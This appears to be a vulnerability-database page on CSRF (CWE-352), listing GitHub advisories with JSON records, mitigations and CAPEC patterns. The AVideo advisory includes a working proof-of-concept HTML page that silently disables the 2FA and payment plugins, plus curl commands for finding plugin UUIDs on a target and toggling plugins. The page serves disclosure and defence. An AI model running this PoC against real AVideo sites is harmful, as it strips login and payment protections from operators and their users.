CWE-352
AllowedCross-Site Request Forgery (CSRF)
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
14261 vulnerabilities reference this CWE, most recent first.
GHSA-HQXF-MHFW-RC44
Vulnerability from github – Published: 2026-04-01 20:54 – Updated: 2026-04-01 20:54Summary
The AVideo endpoint objects/pluginSwitch.json.php allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the plugins database table is explicitly listed in ignoreTableSecurityCheck(), which means the ORM-level Referer/Origin domain validation in ObjectYPT::save() is also bypassed. Combined with SameSite=None on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page.
Plugin UUIDs are not secret values. They are hardcoded in the frontend JavaScript source and are consistent across installations, making it trivial for an attacker to target specific plugins.
Details
The objects/pluginSwitch.json.php endpoint checks admin status but performs no CSRF validation:
// objects/pluginSwitch.json.php
if (!User::isAdmin()) {
die('{"error": "Must be admin"}');
}
$obj = new Plugin(0);
$obj->loadFromUUID($_POST['uuid']);
$obj->setStatus($_POST['status']);
$obj->save();
The plugins table is explicitly excluded from the ORM security check at objects/Object.php:529:
// objects/Object.php:529
public static function ignoreTableSecurityCheck() {
return array(
'plugins',
// ... other tables
);
}
This means the save() call does not trigger the Referer/Origin domain validation that normally acts as a secondary CSRF defense for other ORM operations.
Plugin UUIDs are hardcoded in each plugin's getUUID() method and are consistent across all AVideo installations. Examples:
| Plugin | UUID |
|---|---|
| Gallery | a06505bf-3570-4b1f-977a-fd0e5cab205d |
| LoginControl | LoginControl-5ee8405eaaa16 |
| Live | e06b161c-cbd0-4c1d-a484-71018efa2f35 |
| YPTWallet | 2faf2eeb-88ac-48e1-a098-37e76ae3e9f3 |
These are also exposed in frontend JavaScript:
// design_first_page.php:99
var galleryUUID = 'a06505bf-3570-4b1f-977a-fd0e5cab205d';
Proof of Concept
Host the following HTML page on an attacker-controlled domain. This example disables the LoginControl plugin (which provides 2FA and login security enforcement):
<!DOCTYPE html>
<html>
<head><title>AVI-031 PoC - Disable Security Plugin</title></head>
<body>
<h1>Loading content...</h1>
<!-- Disable LoginControl (2FA / brute force protection) -->
<iframe name="f1" style="display:none"></iframe>
<form id="disable1" method="POST" target="f1"
action="https://your-avideo-instance.com/objects/pluginSwitch.json.php">
<input type="hidden" name="uuid" value="LoginControl-5ee8405eaaa16" />
<input type="hidden" name="status" value="inactive" />
</form>
<!-- Disable YPTWallet (subscription/payment enforcement) -->
<iframe name="f2" style="display:none"></iframe>
<form id="disable2" method="POST" target="f2"
action="https://your-avideo-instance.com/objects/pluginSwitch.json.php">
<input type="hidden" name="uuid" value="2faf2eeb-88ac-48e1-a098-37e76ae3e9f3" />
<input type="hidden" name="status" value="inactive" />
</form>
<script>
document.getElementById('disable1').submit();
document.getElementById('disable2').submit();
</script>
</body>
</html>
To find plugin UUIDs on a target instance:
# UUIDs are exposed in the frontend source
curl -s "https://your-avideo-instance.com/" | grep -oP '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}'
Verification with curl:
# Disable a plugin using an admin session
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
-X POST "https://your-avideo-instance.com/objects/pluginSwitch.json.php" \
-d "uuid=a06505bf-3570-4b1f-977a-fd0e5cab205d&status=inactive"
# Verify the plugin is now inactive
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
"https://your-avideo-instance.com/admin/index.php" | grep -A2 "Gallery"
Impact
An attacker can silently disable any AVideo plugin by luring an authenticated admin to a malicious web page. This has significant security implications because AVideo relies on plugins for critical security functions:
- LoginControl: Provides two-factor authentication and brute force protection. Disabling it removes 2FA for all users and allows unlimited login attempts.
- Subscription/PayPal/Stripe plugins: Enforce payment requirements for premium content. Disabling them grants free access to paid videos.
- Access control plugins: Restrict content visibility. Disabling them exposes private or restricted videos.
The attack is silent (no visible indication to the admin), the plugin UUIDs are public constants, and the SameSite=None cookie policy ensures cross-origin delivery of the admin session.
- CWE-352: Cross-Site Request Forgery
Recommended Fix
Add CSRF token validation at objects/pluginSwitch.json.php:11, after the admin check:
// objects/pluginSwitch.json.php:11
if (!isGlobalTokenValid()) {
forbiddenPage('Invalid CSRF token');
}
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34613"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T20:54:07Z",
"nvd_published_at": "2026-03-31T21:16:31Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe AVideo endpoint `objects/pluginSwitch.json.php` allows administrators to enable or disable any installed plugin. The endpoint checks for an active admin session but does not validate a CSRF token. Additionally, the `plugins` database table is explicitly listed in `ignoreTableSecurityCheck()`, which means the ORM-level Referer/Origin domain validation in `ObjectYPT::save()` is also bypassed. Combined with `SameSite=None` on session cookies, an attacker can disable critical security plugins (such as LoginControl for 2FA, subscription enforcement, or access control plugins) by luring an admin to a malicious page.\n\nPlugin UUIDs are not secret values. They are hardcoded in the frontend JavaScript source and are consistent across installations, making it trivial for an attacker to target specific plugins.\n\n## Details\n\nThe `objects/pluginSwitch.json.php` endpoint checks admin status but performs no CSRF validation:\n\n```php\n// objects/pluginSwitch.json.php\nif (!User::isAdmin()) {\n die(\u0027{\"error\": \"Must be admin\"}\u0027);\n}\n\n$obj = new Plugin(0);\n$obj-\u003eloadFromUUID($_POST[\u0027uuid\u0027]);\n$obj-\u003esetStatus($_POST[\u0027status\u0027]);\n$obj-\u003esave();\n```\n\nThe `plugins` table is explicitly excluded from the ORM security check at `objects/Object.php:529`:\n\n```php\n// objects/Object.php:529\npublic static function ignoreTableSecurityCheck() {\n return array(\n \u0027plugins\u0027,\n // ... other tables\n );\n}\n```\n\nThis means the `save()` call does not trigger the Referer/Origin domain validation that normally acts as a secondary CSRF defense for other ORM operations.\n\nPlugin UUIDs are hardcoded in each plugin\u0027s `getUUID()` method and are consistent across all AVideo installations. Examples:\n\n| Plugin | UUID |\n|--------|------|\n| Gallery | `a06505bf-3570-4b1f-977a-fd0e5cab205d` |\n| LoginControl | `LoginControl-5ee8405eaaa16` |\n| Live | `e06b161c-cbd0-4c1d-a484-71018efa2f35` |\n| YPTWallet | `2faf2eeb-88ac-48e1-a098-37e76ae3e9f3` |\n\nThese are also exposed in frontend JavaScript:\n\n```javascript\n// design_first_page.php:99\nvar galleryUUID = \u0027a06505bf-3570-4b1f-977a-fd0e5cab205d\u0027;\n```\n\n## Proof of Concept\n\nHost the following HTML page on an attacker-controlled domain. This example disables the LoginControl plugin (which provides 2FA and login security enforcement):\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eAVI-031 PoC - Disable Security Plugin\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading content...\u003c/h1\u003e\n\n\u003c!-- Disable LoginControl (2FA / brute force protection) --\u003e\n\u003ciframe name=\"f1\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"disable1\" method=\"POST\" target=\"f1\"\n action=\"https://your-avideo-instance.com/objects/pluginSwitch.json.php\"\u003e\n \u003cinput type=\"hidden\" name=\"uuid\" value=\"LoginControl-5ee8405eaaa16\" /\u003e\n \u003cinput type=\"hidden\" name=\"status\" value=\"inactive\" /\u003e\n\u003c/form\u003e\n\n\u003c!-- Disable YPTWallet (subscription/payment enforcement) --\u003e\n\u003ciframe name=\"f2\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"disable2\" method=\"POST\" target=\"f2\"\n action=\"https://your-avideo-instance.com/objects/pluginSwitch.json.php\"\u003e\n \u003cinput type=\"hidden\" name=\"uuid\" value=\"2faf2eeb-88ac-48e1-a098-37e76ae3e9f3\" /\u003e\n \u003cinput type=\"hidden\" name=\"status\" value=\"inactive\" /\u003e\n\u003c/form\u003e\n\n\u003cscript\u003e\n document.getElementById(\u0027disable1\u0027).submit();\n document.getElementById(\u0027disable2\u0027).submit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**To find plugin UUIDs on a target instance:**\n\n```bash\n# UUIDs are exposed in the frontend source\ncurl -s \"https://your-avideo-instance.com/\" | grep -oP \u0027[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}\u0027\n```\n\n**Verification with curl:**\n\n```bash\n# Disable a plugin using an admin session\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n -X POST \"https://your-avideo-instance.com/objects/pluginSwitch.json.php\" \\\n -d \"uuid=a06505bf-3570-4b1f-977a-fd0e5cab205d\u0026status=inactive\"\n\n# Verify the plugin is now inactive\ncurl -b \"PHPSESSID=ADMIN_SESSION_COOKIE\" \\\n \"https://your-avideo-instance.com/admin/index.php\" | grep -A2 \"Gallery\"\n```\n\n## Impact\n\nAn attacker can silently disable any AVideo plugin by luring an authenticated admin to a malicious web page. This has significant security implications because AVideo relies on plugins for critical security functions:\n\n- **LoginControl**: Provides two-factor authentication and brute force protection. Disabling it removes 2FA for all users and allows unlimited login attempts.\n- **Subscription/PayPal/Stripe plugins**: Enforce payment requirements for premium content. Disabling them grants free access to paid videos.\n- **Access control plugins**: Restrict content visibility. Disabling them exposes private or restricted videos.\n\nThe attack is silent (no visible indication to the admin), the plugin UUIDs are public constants, and the `SameSite=None` cookie policy ensures cross-origin delivery of the admin session.\n\n- **CWE-352**: Cross-Site Request Forgery\n\n## Recommended Fix\n\nAdd CSRF token validation at `objects/pluginSwitch.json.php:11`, after the admin check:\n\n```php\n// objects/pluginSwitch.json.php:11\nif (!isGlobalTokenValid()) {\n forbiddenPage(\u0027Invalid CSRF token\u0027);\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-hqxf-mhfw-rc44",
"modified": "2026-04-01T20:54:07Z",
"published": "2026-04-01T20:54:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-hqxf-mhfw-rc44"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34613"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/7ddfe4ec270d720e11f5dc28db73dfcd2cf9192a"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/da375103d59118d1c1b1801ac7fce3cd426f8736"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo: CSRF on Plugin Enable/Disable Endpoint Allows Disabling Security Plugins"
}
GHSA-HQXP-28J2-46JM
Vulnerability from github – Published: 2022-05-14 01:51 – Updated: 2022-05-14 01:51The Oracle WebCenter Interaction Portal 10.3.3 does not implement protection against Cross-site Request Forgery in its design. The impact is sensitive actions in the portal (such as changing a portal user's password). NOTE: this CVE is assigned by MITRE and isn't validated by Oracle because Oracle WebCenter Interaction Portal is out of support.
{
"affected": [],
"aliases": [
"CVE-2018-16952"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-18T02:29:00Z",
"severity": "HIGH"
},
"details": "The Oracle WebCenter Interaction Portal 10.3.3 does not implement protection against Cross-site Request Forgery in its design. The impact is sensitive actions in the portal (such as changing a portal user\u0027s password). NOTE: this CVE is assigned by MITRE and isn\u0027t validated by Oracle because Oracle WebCenter Interaction Portal is out of support.",
"id": "GHSA-hqxp-28j2-46jm",
"modified": "2022-05-14T01:51:58Z",
"published": "2022-05-14T01:51:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16952"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2018/Sep/22"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105350"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HR35-X9RX-CC59
Vulnerability from github – Published: 2022-11-19 00:30 – Updated: 2022-11-23 18:30Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Creative Mail plugin <= 1.5.4 on WordPress.
{
"affected": [],
"aliases": [
"CVE-2022-44740"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-18T23:15:00Z",
"severity": "HIGH"
},
"details": "Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Creative Mail plugin \u003c= 1.5.4 on WordPress.",
"id": "GHSA-hr35-x9rx-cc59",
"modified": "2022-11-23T18:30:28Z",
"published": "2022-11-19T00:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44740"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/creative-mail-by-constant-contact/wordpress-creative-mail-plugin-1-5-4-multiple-cross-site-request-forgery-csrf-vulnerabilities?_s_id=cve"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/creative-mail-by-constant-contact/#developers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HR3V-9W59-CQ9C
Vulnerability from github – Published: 2022-05-14 02:47 – Updated: 2025-04-12 12:58Multiple cross-site request forgery (CSRF) vulnerabilities in administrative pages in EMC ViPR SRM before 3.7 allow remote attackers to hijack the authentication of administrators.
{
"affected": [],
"aliases": [
"CVE-2016-0891"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-04-20T17:59:00Z",
"severity": "HIGH"
},
"details": "Multiple cross-site request forgery (CSRF) vulnerabilities in administrative pages in EMC ViPR SRM before 3.7 allow remote attackers to hijack the authentication of administrators.",
"id": "GHSA-hr3v-9w59-cq9c",
"modified": "2025-04-12T12:58:52Z",
"published": "2022-05-14T02:47:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-0891"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/39738"
},
{
"type": "WEB",
"url": "https://www.securify.nl/advisory/SFY20141109/emc_m_r__watch4net__lacks_c%20ross_site_request_forgery_protection.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/136837/EMC-ViPR-SRM-Cross-Site-Request-Forgery.html"
},
{
"type": "WEB",
"url": "http://seclists.org/bugtraq/2016/Apr/106"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2016/Apr/89"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/538207/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HR45-7J4G-C7CJ
Vulnerability from github – Published: 2022-05-17 01:35 – Updated: 2025-04-12 12:34Cross-site request forgery (CSRF) vulnerability in the Calendar plugin before 1.3.3 for WordPress allows remote attackers to hijack the authentication of users for requests that add a calendar entry via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2013-2698"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-05-27T14:55:00Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery (CSRF) vulnerability in the Calendar plugin before 1.3.3 for WordPress allows remote attackers to hijack the authentication of users for requests that add a calendar entry via unspecified vectors.",
"id": "GHSA-hr45-7j4g-c7cj",
"modified": "2025-04-12T12:34:13Z",
"published": "2022-05-17T01:35:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2698"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/84032"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/52841"
},
{
"type": "WEB",
"url": "http://wordpress.org/plugins/calendar/changelog"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/59661"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HR57-V29C-MM22
Vulnerability from github – Published: 2022-05-17 04:52 – Updated: 2022-05-17 04:52Cross-site request forgery (CSRF) vulnerability in D-Link DAP-2253 Access Point (Rev. A1) with firmware before 1.30 allows remote attackers to hijack the authentication of administrators for requests that modify configuration settings via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2013-7320"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-02-06T16:10:00Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery (CSRF) vulnerability in D-Link DAP-2253 Access Point (Rev. A1) with firmware before 1.30 allows remote attackers to hijack the authentication of administrators for requests that modify configuration settings via unspecified vectors.",
"id": "GHSA-hr57-v29c-mm22",
"modified": "2022-05-17T04:52:25Z",
"published": "2022-05-17T04:52:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-7320"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/56022"
},
{
"type": "WEB",
"url": "http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10006"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/64297"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HR63-35MR-Q5R4
Vulnerability from github – Published: 2022-12-02 18:30 – Updated: 2022-12-06 03:30Tenda AC6V1.0 V15.03.05.19 is vulnerable to Cross Site Request Forgery (CSRF) via function fromSysToolReboot.
{
"affected": [],
"aliases": [
"CVE-2022-45674"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-02T17:15:00Z",
"severity": "MODERATE"
},
"details": "Tenda AC6V1.0 V15.03.05.19 is vulnerable to Cross Site Request Forgery (CSRF) via function fromSysToolReboot.",
"id": "GHSA-hr63-35mr-q5r4",
"modified": "2022-12-06T03:30:23Z",
"published": "2022-12-02T18:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45674"
},
{
"type": "WEB",
"url": "https://github.com/ConfusedChenSir/VulnerabilityProjectRecords/blob/main/fromSysToolReboot/fromSysToolReboot.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HR68-2776-7Q9F
Vulnerability from github – Published: 2022-05-18 00:00 – Updated: 2022-05-26 00:01Persistent Cross-Site Scripting (XSS) vulnerability in Alexander Stokmann's Code Snippets Extended plugin <= 1.4.7 on WordPress via Cross-Site Request Forgery (vulnerable parameters &title, &snippet_code).
{
"affected": [],
"aliases": [
"CVE-2022-29436"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-17T20:15:00Z",
"severity": "MODERATE"
},
"details": "Persistent Cross-Site Scripting (XSS) vulnerability in Alexander Stokmann\u0027s Code Snippets Extended plugin \u003c= 1.4.7 on WordPress via Cross-Site Request Forgery (vulnerable parameters \u0026title, \u0026snippet_code).",
"id": "GHSA-hr68-2776-7q9f",
"modified": "2022-05-26T00:01:13Z",
"published": "2022-05-18T00:00:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29436"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/code-snippets-extended/wordpress-code-snippets-extended-plugin-1-4-7-cross-site-request-forgery-csrf-vulnerability-leading-to-persistent-cross-site-scripting-xss"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/code-snippets-extended/#developers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HR68-CGXF-WRR4
Vulnerability from github – Published: 2022-05-17 04:09 – Updated: 2022-05-17 04:09Cross-site request forgery (CSRF) vulnerability on Actiontec GT784WN modems with firmware before NCS01-1.0.13 allows remote attackers to hijack the authentication or intranet connectivity of arbitrary users.
{
"affected": [],
"aliases": [
"CVE-2015-2905"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-08-23T21:59:00Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery (CSRF) vulnerability on Actiontec GT784WN modems with firmware before NCS01-1.0.13 allows remote attackers to hijack the authentication or intranet connectivity of arbitrary users.",
"id": "GHSA-hr68-cgxf-wrr4",
"modified": "2022-05-17T04:09:22Z",
"published": "2022-05-17T04:09:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-2905"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/335192"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HR89-9HHC-9XFR
Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2024-04-04 02:20An issue was discovered in fastadmin 1.0.0.20190705_beta. There is a public/admin/general.config/edit CSRF vulnerability, as demonstrated by resultant XSS via the row[name] parameter.
{
"affected": [],
"aliases": [
"CVE-2019-17432"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-10T12:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in fastadmin 1.0.0.20190705_beta. There is a public/admin/general.config/edit CSRF vulnerability, as demonstrated by resultant XSS via the row\u0026#91;name\u0026#93; parameter.",
"id": "GHSA-hr89-9hhc-9xfr",
"modified": "2024-04-04T02:20:22Z",
"published": "2022-05-24T16:58:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17432"
},
{
"type": "WEB",
"url": "https://github.com/Imanfeng/fastadmin/blob/master/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.